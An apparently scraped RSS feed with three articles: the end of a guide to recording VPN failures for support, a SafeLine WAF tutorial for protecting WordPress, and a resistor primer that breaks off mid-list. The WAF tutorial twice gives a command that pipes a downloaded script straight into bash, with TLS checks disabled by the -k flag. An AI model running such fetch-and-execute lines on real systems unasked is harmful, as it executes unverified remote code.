&lt;p&gt;“Import succeeded, but Connect returns to disconnected after ten seconds” gives the reviewer a specific transition to investigate. If you cannot tell whether import completed, say so. Uncertainty is useful when it identifies the next fact to check.&lt;/p&gt;
&lt;h2 id=&quot;record-the-device-client-and-network&quot;&gt;Record the device, client, and network&lt;/h2&gt;
&lt;p&gt;Include the device type, operating-system version, VPN client and version, and whether the device is personal or managed by an organization. Use the version actually shown by the device or client. Also note whether the setup worked before and whether software changed recently.&lt;/p&gt;
&lt;p&gt;Record the network type: home or office Wi-Fi, hotel or public Wi-Fi, or mobile data. Note whether ordinary internet access worked before the VPN attempt and whether a network sign-in page appeared. If the device moved between Wi-Fi and mobile data during the test, include that fact.&lt;/p&gt;
&lt;p&gt;Do not change an organization's router or firewall settings to create a comparison. When appropriate, a second network you are allowed to use is enough. A successful test on one device also does not establish that another device has the same client capabilities or operating-system behavior.&lt;/p&gt;
&lt;h2 id=&quot;preserve-the-exact-wording-and-a-short-timeline&quot;&gt;Preserve the exact wording and a short timeline&lt;/h2&gt;
&lt;p&gt;Write down the client's actual status or error. Keep the observation separate from your interpretation.&lt;/p&gt;
&lt;p&gt;“The client shows Connecting for 15 seconds, then returns to Disconnected” records behavior. “The server rejected me” assigns a cause that the observation alone may not establish.&lt;/p&gt;
&lt;p&gt;Note when the wording appeared: during import, when Connect was pressed, or after an active connection had been shown. Add the approximate date and local time, the last successful connection, the first failed attempt, and relevant changes between them.&lt;/p&gt;
&lt;p&gt;A few lines are enough. The original guide gives this illustrative sequence: a successful connection on home Wi-Fi, an operating-system update that evening, a connection failure the next morning despite a successful import, and the same result on mobile data that afternoon. The sequence is an example, not a measured incident or a claim that the update caused the failure.&lt;/p&gt;
&lt;h2 id=&quot;keep-the-evidence-small-and-private&quot;&gt;Keep the evidence small and private&lt;/h2&gt;
&lt;p&gt;A screenshot can preserve a status message or permission prompt. Review it before sharing and remove unrelated account names, email addresses, billing information, notifications, device identifiers, QR codes, access links, and credentials.&lt;/p&gt;
&lt;p&gt;Capture the relevant status area without opening the profile's contents. Pair the image with the stage and time; a screenshot alone may omit what happened immediately beforehand.&lt;/p&gt;
&lt;p&gt;Do not routinely attach an assigned profile file, password, verification code, token, cookie, private key, or certificate material. Start with device, version, stage, network type, wording, and timing. If a formal support process requires more, confirm the recipient and channel and follow that process.&lt;/p&gt;
&lt;h2 id=&quot;use-a-repeatable-report&quot;&gt;Use a repeatable report&lt;/h2&gt;
&lt;p&gt;Copy the fields below into your notes and fill only what you can establish:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Device and operating-system version:&lt;/li&gt;
&lt;li&gt;VPN client and version:&lt;/li&gt;
&lt;li&gt;Personal or managed device:&lt;/li&gt;
&lt;li&gt;Assigned profile current or uncertain:&lt;/li&gt;
&lt;li&gt;Network used:&lt;/li&gt;
&lt;li&gt;Ordinary internet access before VPN:&lt;/li&gt;
&lt;li&gt;Last successful setup stage:&lt;/li&gt;
&lt;li&gt;Exact status or error:&lt;/li&gt;
&lt;li&gt;Approximate date and local time:&lt;/li&gt;
&lt;li&gt;Last known successful connection:&lt;/li&gt;
&lt;li&gt;Recent changes:&lt;/li&gt;
&lt;li&gt;Result on another allowed network or device:&lt;/li&gt;
&lt;li&gt;Screenshot reviewed for private information:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This record identifies the setup and the failure without exposing the profile itself.&lt;/p&gt;
&lt;h2 id=&quot;change-one-variable-at-a-time&quot;&gt;Change one variable at a time&lt;/h2&gt;
&lt;p&gt;Keep the device, client, and profile fixed when comparing two allowed networks. For an authorized comparison between devices, keep the network and intended profile assignment clear.&lt;/p&gt;
&lt;p&gt;Changing clients, importing several copies, switching networks, and altering device settings in one pass makes the final result harder to interpret. Stop once the evidence is sufficient. More tests are not automatically better, especially on managed devices.&lt;/p&gt;
&lt;h2 id=&quot;questions-to-settle-before-sending&quot;&gt;Questions to settle before sending&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What matters most?&lt;/strong&gt; The last successful stage and the stage that failed. “Imported but did not connect” gives support a clearer starting point than “not working.”&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Should the profile file be attached?&lt;/strong&gt; Not as a routine first step. Begin with the limited record above; use an explicitly authorized process if more is required.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why record the time?&lt;/strong&gt; It helps correlate the issue with software, profile, network, or service changes without sharing credentials.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Are screenshots enough?&lt;/strong&gt; They are useful when reviewed for private information and accompanied by the stage and timeline.&lt;/p&gt;
&lt;h2 id=&quot;further-reference&quot;&gt;Further reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://openvpn.net/connect-docs/import-profile.html&quot;&gt;OpenVPN Connect: Import a Profile&lt;/a&gt; documents the import stage.&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://openvpn.net/connect-docs/troubleshooting.html&quot;&gt;OpenVPN Connect: Troubleshooting Hub&lt;/a&gt; separates connection-profile and authentication help.&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://openvpn.net/connect-docs/troubleshooting-faqs.html&quot;&gt;OpenVPN Connect: Troubleshooting FAQs&lt;/a&gt; provides client-specific guidance; use the section matching the observed issue.&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27816/before-you-ask-for-vpn-help-record-the-stage-status-and-timeline</guid>
<pubDate>Sun, 20 Sep 2026 09:03:09 +0000</pubDate>
</item>
<item>
<title>How to Protect WordPress with a Self-Hosted WAF</title>
<link>https://coderlegion.com/27606/how-to-protect-wordpress-with-a-self-hosted-waf</link>
<description>&lt;h2 id=&quot;how-to-protect-wordpress-with-a-self-hosted-waf&quot;&gt;How to Protect WordPress with a Self-Hosted WAF&lt;/h2&gt;
&lt;p&gt;WordPress powers a huge share of the web and attracts a matching share of attacks: login brute force, plugin exploits, SQL injection through forms, and xmlrpc abuse. A self-hosted WAF placed in front of WordPress blocks the bulk of that traffic before it ever reaches PHP.&lt;/p&gt;
&lt;h3 id=&quot;why-put-a-waf-in-front-of-wordpress&quot;&gt;Why put a WAF in front of WordPress&lt;/h3&gt;
&lt;p&gt;Plugin-level security (like Wordfence) runs inside WordPress and understands WP internals. A stack-level WAF like SafeLine runs as a reverse proxy in front of the whole server, so it protects WordPress &lt;em&gt;and&lt;/em&gt; anything else on the host — and it still works even if a plugin or theme is compromised.&lt;/p&gt;
&lt;h3 id=&quot;step-1-install-safeline&quot;&gt;Step 1 — Install SafeLine&lt;/h3&gt;
&lt;p&gt;On the host that will sit in front of WordPress:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SafeLine runs as a container and needs only modest resources (1 CPU, 1 GB RAM, 5 GB disk minimum).&lt;/p&gt;
&lt;h3 id=&quot;step-2-add-wordpress-as-the-upstream&quot;&gt;Step 2 — Add WordPress as the upstream&lt;/h3&gt;
&lt;p&gt;Open the console at &lt;code&gt;https://&amp;lt;safeline-ip&amp;gt;:9443&lt;/code&gt; and add a protected site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Upstream server&lt;/strong&gt; — where WordPress actually listens, e.g. &lt;code&gt;http://127.0.0.1:80&lt;/code&gt; if SafeLine shares the host with the web server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain&lt;/strong&gt; — your WordPress domain, e.g. &lt;code&gt;blog.example.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Port&lt;/strong&gt; — the public port SafeLine listens on (80 / 443).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then point your DNS (or firewall port) at the SafeLine host so visitor traffic reaches it first.&lt;/p&gt;
&lt;h3 id=&quot;step-3-turn-on-the-wordpress-relevant-protections&quot;&gt;Step 3 — Turn on the WordPress-relevant protections&lt;/h3&gt;
&lt;p&gt;SafeLine's semantic engine already blocks SQL injection and XSS generically — that covers most WordPress form and admin attacks out of the box. Two extra levers are especially useful for WP:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Rate limiting&lt;/strong&gt; on &lt;code&gt;/wp-login.php&lt;/code&gt; and &lt;code&gt;/xmlrpc.php&lt;/code&gt; to stop credential-stuffing and the classic xmlrpc pingback floods.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bot challenge (CAPTCHA)&lt;/strong&gt; for suspicious automated clients, so scrapers and bad bots get stopped without affecting real visitors or Google.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;step-4-watch-the-logs&quot;&gt;Step 4 — Watch the logs&lt;/h3&gt;
&lt;p&gt;The dashboard shows every request: allowed, blocked, and challenged. If a legitimate plugin endpoint trips a false positive, add a whitelist rule for that specific path rather than disabling protection globally.&lt;/p&gt;
&lt;h3 id=&quot;safeline-vs-a-wordpress-security-plugin&quot;&gt;SafeLine vs a WordPress security plugin&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;SafeLine (stack-level) &lt;/th&gt;&lt;th&gt;WP plugin (in-app)&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Protects WordPress &lt;/td&gt;&lt;td&gt;Yes &lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Protects other apps on host &lt;/td&gt;&lt;td&gt;Yes &lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Works if WP is compromised &lt;/td&gt;&lt;td&gt;Yes &lt;/td&gt;&lt;td&gt;Weaker&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Free tier &lt;/td&gt;&lt;td&gt;Community Edition (10 apps, 800 QPS) &lt;/td&gt;&lt;td&gt;Limited&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;You can also run both — SafeLine at the proxy edge plus an in-app plugin is defense in depth.&lt;/p&gt;
&lt;h3 id=&quot;faq-9&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;will-it-break-my-plugins-&quot;&gt;Will it break my plugins?&lt;/h4&gt;
&lt;p&gt;Generally no. SafeLine forwards normal traffic untouched; only requests that look like attacks are blocked. Tune per-path if needed.&lt;/p&gt;
&lt;h4 id=&quot;do-i-still-need-to-update-wordpress-&quot;&gt;Do I still need to update WordPress?&lt;/h4&gt;
&lt;p&gt;Yes — a WAF reduces attack surface but isn't a substitute for patching core, themes, and plugins.&lt;/p&gt;
&lt;h4 id=&quot;can-i-protect-multiple-wp-sites-with-one-instance-&quot;&gt;Can I protect multiple WP sites with one instance?&lt;/h4&gt;
&lt;p&gt;Yes — the free Community Edition covers up to 10 apps, so several WordPress installs behind one SafeLine is fine.&lt;/p&gt;
&lt;h4 id=&quot;does-it-affect-seo-crawlers-&quot;&gt;Does it affect SEO crawlers?&lt;/h4&gt;
&lt;p&gt;Real search-engine bots pass through normally; only abusive automated traffic is challenged.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;That's it — your WordPress site now has a self-hosted WAF filtering traffic before PHP ever runs.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⭐ &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;SafeLine WAF on GitHub&lt;/a&gt; — give it a star if you find it useful&lt;/li&gt;
&lt;li&gt;🔗 &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;Official Docs&lt;/a&gt; — installation guide, configuration, and API reference&lt;/li&gt;
&lt;li&gt;🧪 &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;Live Demo&lt;/a&gt; — see the dashboard in action (no login required)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Deploy it in minutes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27606/how-to-protect-wordpress-with-a-self-hosted-waf</guid>
<pubDate>Fri, 18 Sep 2026 10:31:58 +0000</pubDate>
</item>
<item>
<title>Resistors: How to read the stripes, do the math, and avoid the magic smoke</title>
<link>https://coderlegion.com/27496/resistors-how-to-read-the-stripes-do-the-math-and-avoid-the-magic-smoke</link>
<description>&lt;p&gt;If you have ever popped the back off anything with a circuit board inside, you have seen resistors. They are the little striped cylinders, the tiny black rectangles, the ceramic blocks bolted to a heatsink. They are everywhere, and most of them look like they should be interchangeable — yet a 220 Ω part and a 10 kΩ part are about as similar as a paperclip and a coat hanger.&lt;/p&gt;
&lt;p&gt;This guide is the page I wish every beginner landed on first. By the end you will be able to read any resistor by eye, know why a 47 Ω value exists instead of a sensible 50 Ω, pick a part that will not catch fire, and work through the three bits of math that cover maybe 90% of real-world resistor use.&lt;/p&gt;
&lt;h3 id=&quot;what-a-resistor-actually-is-and-why-your-circuit-cannot-live-without-one-&quot;&gt;What a resistor actually is (and why your circuit cannot live without one)&lt;/h3&gt;
&lt;p&gt;A resistor is a two-legged component whose only job is to get in the way. It opposes the flow of electric current, and it does so by turning some of that electrical energy into heat. That is the whole trick. No moving parts, no magic, just a controlled amount of &quot;don't.&quot;&lt;/p&gt;
&lt;p&gt;The amount of opposition is called resistance, measured in ohms (symbol: Ω, the Greek capital omega). One ohm is the resistance you get when one volt of pressure pushes one amp of current through. That definition is worth holding onto, because it tells you exactly what a resistor is doing in plain terms: it sets the relationship between voltage (pressure) and current (flow).&lt;/p&gt;
&lt;p&gt;The rule that ties those three together is Ohm's law:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;V = I × R&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Voltage equals current times resistance. Rearrange it however you like — I = V / R or R = V / I — and you have the single equation that explains every resistor in every circuit.&lt;/p&gt;
&lt;p&gt;Here is the mental model that actually sticks. Think of current as water flowing through a hose. Voltage is the water pressure from the tap. A resistor is a constriction in the hose — a kink, a narrow section, a thumb pressed over the end. The tighter the constriction, the less water gets through for a given pressure. A 10 kΩ resistor is a tight kink; a 10 Ω resistor is barely there.&lt;/p&gt;
&lt;p&gt;Two things follow from this, and they explain most resistor behavior:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;A resistor cannot create energy, only waste it. Engineers call it a &lt;em&gt;passive&lt;/em&gt; component. It does not amplify, it does not oscillate, it just sits there converting current into a little warmth. (That &quot;little warmth&quot; is exactly why a too-small resistor smells bad and lets out smoke — more on that later.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The resistance comes from the material, not the label. At the microscopic level, a resistor is made from a conductor that is deliberately not a great conductor — carbon, a metal-oxide film, a coiled wire. Electrons trying to cross it keep bumping into atoms, and each bump is a tiny conversion of motion into heat. Change the material, its length, its thickness, or its temperature, and you change the resistance.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That is the whole conceptual foundation. Everything below is just applying it.&lt;/p&gt;
&lt;h3 id=&quot;reading-resistor-values-color-codes-demystified&quot;&gt;Reading resistor values: color codes, demystified&lt;/h3&gt;
&lt;p&gt;Through-hole resistors (the striped cylinders) almost never have numbers printed on them — there is no room, and the paint would wear off. Instead they carry their value as colored bands. Once you learn the code, you can read a resistor across a room.&lt;/p&gt;
&lt;p&gt;Most resistors you meet are 4-band, 5-band, or 6-band:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4-band (the common hobbyist part): two digits — a multiplier — a tolerance band.&lt;/li&gt;
&lt;li&gt;5-band (precision parts): three digits — a multiplier — a tolerance band.&lt;/li&gt;
&lt;li&gt;6-band: same as 5-band, plus a final band for temperature coefficient.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first one to three bands are the &lt;em&gt;significant digits&lt;/em&gt;. The next band is the &lt;em&gt;multiplier&lt;/em&gt; — it tells you how many zeros to tack on (or, for gold and silver, a fraction). The band after that is &lt;em&gt;tolerance&lt;/em&gt; — how far off the real value is allowed to be.&lt;/p&gt;
&lt;p&gt;Here is the full table:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/0xjlsn35skuksawika1d.jpg&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;three-worked-examples-you-will-see-constantly&quot;&gt;Three worked examples you will see constantly&lt;/h4&gt;
&lt;p&gt;A 220 Ω resistor (the classic LED current-limiter): Red — Red — Brown — Gold → 2, 2, ×10, ±5% = 22 × 10 = 220 Ω ±5%. This is the part we reach for on a 5 V logic rail or a bright LED.&lt;/p&gt;
&lt;p&gt;A 1 kΩ resistor (the default pull-up / current-limiter): Brown — Black — Red — Gold → 1, 0, ×100, ±5% = 10 × 100 = 1,000 Ω = 1 kΩ ±5%. If a tutorial says &quot;just use 1k,&quot; this is the stripe pattern.&lt;/p&gt;
&lt;p&gt;A 10 kΩ resistor (the standard microcontroller pull-up): Brown — Black — Orange — Gold → 1, 0, ×1,000, ±5% = 10 × 1,000 = 10,000 Ω = 10 kΩ ±5%. Almost every Arduino &quot;connect a button&quot; sketch assumes a 10 kΩ pull-up.&lt;/p&gt;
&lt;h4 id=&quot;a-mnemonic-that-actually-works&quot;&gt;A mnemonic that actually works&lt;/h4&gt;
&lt;p&gt;The digits map to a sentence everyone learns: &quot;Bad Beer Rots Our Young Guts But Vodka Goes Well — Get Some Now.&quot; Black, Brown, Red, Orange, Yellow, Green, Blue, Violet, Grey, White, (Gold, Silver, None). Silly, but you will never forget the order.&lt;/p&gt;
&lt;h3 id=&quot;surface-mount-resistors-and-their-secret-codes&quot;&gt;Surface-mount resistors and their secret codes&lt;/h3&gt;
&lt;p&gt;Once you leave the breadboard and move to a manufactured board, resistors shrink into tiny black rectangles with no room for stripes. They carry numbers instead, and the system is simpler than it looks.&lt;/p&gt;
&lt;p&gt;3-digit code (5% and 10% parts): the first two digits are significant, the third is the number of zeros.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;471&lt;/code&gt; = 47 followed by one zero = 470 Ω&lt;/li&gt;
&lt;li&gt;&lt;code&gt;103&lt;/code&gt; = 10 followed by three zeros = 10 kΩ&lt;/li&gt;
&lt;li&gt;&lt;code&gt;100&lt;/code&gt; = 10 followed by zero zeros = 10 Ω&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;4-digit code (1% parts): three significant digits, then the number of zeros.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;4700&lt;/code&gt; = 470 followed by no zeros = 470 Ω&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1002&lt;/code&gt; = 100 followed by two zeros = 10 kΩ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;EIA-96 code (1% precision on tiny packages): two digits plus a letter. The digits are an index into the E96 value table (01 = 100, 02 = 102 ... 96 = 976), and the letter is the multiplier: A = ×1, B = ×10, C = ×100, D = ×1 k, E = ×10 k, F = ×100 k. So &lt;code&gt;01A&lt;/code&gt; = 100 × 1 = 100 Ω, and &lt;code&gt;68A&lt;/code&gt; = 487 × 1 = 4.87 kΩ.&lt;/p&gt;
&lt;p&gt;You will also see a package size like 0402, 0603, 0805, or 1206. Those four digits are the size in hundredths of an inch: 0402 is 0.04 × 0.02 inches. Smaller is cheaper and lighter but harder to solder by hand and carries less power. A 1206 can usually take about 0.25 W; a 0402 is often rated at just 1/16 W (0.0625 W), which is why power math matters so much on tiny boards.&lt;/p&gt;
&lt;p&gt;Rule of thumb: build on a breadboard or by hand, use through-hole; design a PCB you will manufacture, use SMD — and size the package to the wattage, not just the value.&lt;/p&gt;
&lt;h3 id=&quot;why-resistors-come-in-weird-values-the-e12-and-e24-series&quot;&gt;Why resistors come in weird values: the E12 and E24 series&lt;/h3&gt;
&lt;p&gt;Here is a question that trips everyone up. Why is there a 47 Ω resistor and a 4.7 kΩ resistor, but no 50 Ω or 5 kΩ in the common bins? Why 33 Ω and 330 Ω instead of a round 30?&lt;/p&gt;
&lt;p&gt;The answer is that resistor values are spaced geometrically, not arithmetically. Manufacturers do not pick random numbers; they use the E-series. An E12 resistor (±10% tolerance) has 12 values per decade, and each one is about 21% larger than the last — because a part can drift by up to 10% either way, the next value needs to start roughly where the previous one could have ended. The E12 values are:&lt;/p&gt;
&lt;p&gt;10, 12, 15, 18, 22, 27, 33, 39, 47, 56, 68, 82 — then ×10 for the next decade (100, 120, 150 ...).&lt;/p&gt;
&lt;p&gt;E24 (±5% tolerance) squeezes in 24 values per decade by halving that step:&lt;/p&gt;
&lt;p&gt;10, 11, 12, 13, 15, 16, 18, 20, 22, 24, 27, 30, 33, 36, 39, 43, 47, 51, 56, 62, 68, 75, 82, 91.&lt;/p&gt;
&lt;p&gt;That is why 47 Ω exists: it is the E12/E24 value nearest a &quot;round&quot; 50, and the geometric spacing guarantees that no matter which value you need, a standard part is close enough that tolerance absorbs the rest.&lt;/p&gt;
&lt;p&gt;The practical takeaway: when a design calls for &quot;about 5 kΩ,&quot; you reach for the standard 4.7 kΩ or 5.1 kΩ, not a custom 5.00 kΩ part. Standard values are cheaper, always in stock, and what every calculator and simulator assumes.&lt;/p&gt;
&lt;h3 id=&quot;power-ratings-and-tolerance-the-specs-that-actually-burn&quot;&gt;Power ratings and tolerance: the specs that actually burn&lt;/h3&gt;
&lt;p&gt;This is the section most thin guides skip — and the one that determines whether your circuit works next week or smells like burnt plastic tomorrow.&lt;/p&gt;
&lt;h4 id=&quot;wattage&quot;&gt;Wattage&lt;/h4&gt;
&lt;p&gt;Every resistor has a power rating in watts (W). The common through-hole sizes are 1/4 W (0.25 W), 1/2 W (0.5 W), 1 W, and up into the many-watt &quot;power resistor&quot; range. The rating is the maximum heat the part can shed into still air without overheating.&lt;/p&gt;
&lt;p&gt;Three formulas tell you how much power a resistor is actually dissipating. They are all the same idea, just solved for what you happen to know:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;P = I² × R · P = V² / R · P = V × I&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Worked example. Put a 220 Ω resistor straight across a 5 V supply. Using P = V² / R: 25 / 220 ≈ 0.114 W. That is 114 mW, comfortably under a 1/4 W part's 250 mW limit. Safe.&lt;/p&gt;
&lt;p&gt;Now try a 10 Ω resistor across the same 5 V rail: 25 / 10 = 2.5 W. A 1/4 W resistor would be dissipating ten times its rating — it would glow, then fail. You would need a proper power resistor here. The value was &quot;fine&quot; by Ohm's law; the wattage is what bit you.&lt;/p&gt;
&lt;h4 id=&quot;tolerance-when-5-is-plenty-and-when-it-is-not&quot;&gt;Tolerance: when 5% is plenty and when it is not&lt;/h4&gt;
&lt;p&gt;Tolerance is how far the real resistance can drift from the labeled value. A ±5% 1 kΩ resistor is anywhere from 950 Ω to 1,050 Ω. A ±1% part stays between 990 Ω and 1,010 Ω.&lt;/p&gt;
&lt;p&gt;For most jobs — limiting an LED, pulling up a pin, setting a gain roughly — 5% is perfectly fine and cheaper. Reach for 1% (or better) when the resistor sets a precision reference: a measurement divider, a filter frequency, an ADC scaling network. There, a 5% shift changes the answer you read.&lt;/p&gt;
&lt;h4 id=&quot;temperature-coefficient-tempco-&quot;&gt;Temperature coefficient (tempco)&lt;/h4&gt;
&lt;p&gt;The sixth band on a precision resistor is its temperature coefficient of resistance (TCR), given in ppm/°C — parts per million per degree Celsius. A 100 ppm/°C resistor changes by 100 Ω per million ohms (0.01%) for every 1 °C of temperature shift. Brown's 100 ppm is typical for cheap film; grey's 1 ppm is laboratory-grade. For anything indoors at room temperature, tempco barely matters; for a sensor you leave in the sun or a meter you trust, it is the difference between &quot;close&quot; and &quot;wrong.&quot;&lt;/p&gt;
&lt;h4 id=&quot;the-derating-curve-this-is-the-part-that-saves-parts-&quot;&gt;The derating curve (this is the part that saves parts)&lt;/h4&gt;
&lt;p&gt;A resistor's wattage rating is only valid at a specific ambient temperature — usually 70 °C. Above that, it cannot shed heat as well, so the safe power drops. The standard curve (per IEC 60115-1, and you will see the same shape on every major datasheet) runs at 100% up to 70 °C, then falls in a straight line to zero watts at 155 °C.&lt;/p&gt;
&lt;p&gt;What this means in practice: a resistor rated 1/4 W at room temperature is only good for about half that inside a sealed enclosure that sits at 110 °C. If your circuit runs hot, either pick a bigger package or do the math at the derated value, not the headline number.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/9etm16nmt16ij40mvps5.jpg&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;types-of-resistors-and-when-to-reach-for-each&quot;&gt;Types of resistors and when to reach for each&lt;/h3&gt;
&lt;p&gt;Not all resistors are the same inside, and the differences show up as noise, precision, and how they behave at temperature and frequency.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/skn968hmuura199ga3z5.jpg&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;p&gt;Carbon film vs. metal film. For blinking an LED or pulling a pin high, carbon film is all you need and costs a fraction of a cent. Choose metal film when the resistor is in the signal path you actually care about — a preamp, a voltage reference, an ADC front-end — because its lower noise and tighter tempco keep the signal clean.&lt;/p&gt;
&lt;p&gt;Wirewound and high-power. When wattage is the problem, wirewound parts (often ceramic-bodied, sometimes bolted down) are the answer. The catch: that coil of wire acts like a tiny inductor, so avoid them in high-frequency RF paths where a &quot;resistor&quot; that also stores magnetic energy misbehaves.&lt;/p&gt;
&lt;p&gt;Variable resistors. A potentiometer is a three-terminal divider you turn with a knob or screwdriver; a rheostat is the two-terminal version used as a variable resistance. Same component family, different wiring. Use them where a value needs to be set by a human, not baked into the board.&lt;/p&gt;
&lt;h3 id=&quot;the-math-you-will-actually-use&quot;&gt;The math you will actually use&lt;/h3&gt;
&lt;p&gt;Three formulas cover almost everything. You already have Ohm's law and the power equations. Now the circuit configurations.&lt;/p&gt;
&lt;h4 id=&quot;resistors-in-series-and-parallel&quot;&gt;Resistors in series and parallel&lt;/h4&gt;
&lt;p&gt;Series (stacked end to end): resistances simply add.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;R_total = R₁ + R₂ + ...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Two 10 kΩ resistors in series make 20 kΩ.&lt;/p&gt;
&lt;p&gt;Parallel (side by side, sharing both nodes): the reciprocals add.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;1 / R_total = 1/R₁ + 1/R₂ — or, for just two, R_total = (R₁ × R₂) / (R₁ + R₂)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Two 10 kΩ resistors in parallel make 5 kΩ. Parallel is how you &quot;split the heat&quot; too: two 1/4 W parts in parallel can handle what one cannot.&lt;/p&gt;
&lt;h4 id=&quot;the-voltage-divider&quot;&gt;The voltage divider&lt;/h4&gt;
&lt;p&gt;Put two resistors in series across a supply and the point between them sits at a fraction of the voltage, set by the ratio:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;V_out = V_in × (R₂ / (R₁ + R₂))&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;With 5 V in and two equal 10 kΩ resistors, the middle sits at 2.5 V. Make R₂ bigger than R₁ and the tap point rises; make it smaller and the tap falls. This is how you step a 5 V sensor signal down to the 3.3 V your microcontroller can read, how you set a comparator's trip point, and how you bias a transistor's base.&lt;/p&gt;
&lt;h4 id=&quot;calculating-an-led-current-limiting-resistor&quot;&gt;Calculating an LED current-limiting resistor&lt;/h4&gt;
&lt;p&gt;An LED is not a resistor; left directly across a supply it draws as much current as it can and burns out. You add a resistor to set the current. The formula:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;R = (V_supply − V_forward) / I&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;where V_forward (Vf) is the LED's rated drop (about 2 V for red, 3.2 V for blue/white) and I is the current you want (typically 20 mA = 0.020 A, but 10 mA is fine for indicator use).&lt;/p&gt;
&lt;p&gt;Example: a red LED (Vf ≈ 2 V) on a 5 V rail, wanting 15 mA: R = (5 − 2) / 0.015 = 200 Ω. The nearest common E12 value is 220 Ω, which gives (5−2)/220 ≈ 13.6 mA — a safe, bright-enough choice.&lt;/p&gt;
&lt;h3 id=&quot;common-mistakes-and-how-to-avoid-a-smoky-resistor-&quot;&gt;Common mistakes (and how to avoid a smoky resistor)&lt;/h3&gt;
&lt;p&gt;A short list of the errors that actually happen on the bench:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reading red as orange (or vice versa). They sit next to each other in the mnemonic and look similar under warm light. Red is 2 / ×100; orange is 3 / ×1 k. One band off is a 10× value error. Use the calculator, or measure with a meter, when it matters.&lt;/li&gt;
&lt;li&gt;Under-rating the power. A resistor can be the right &lt;em&gt;value&lt;/em&gt; and still overheat. Always run P = V² / R and leave headroom — a 1/4 W part should rarely sit above ~125 mW in real use.&lt;/li&gt;
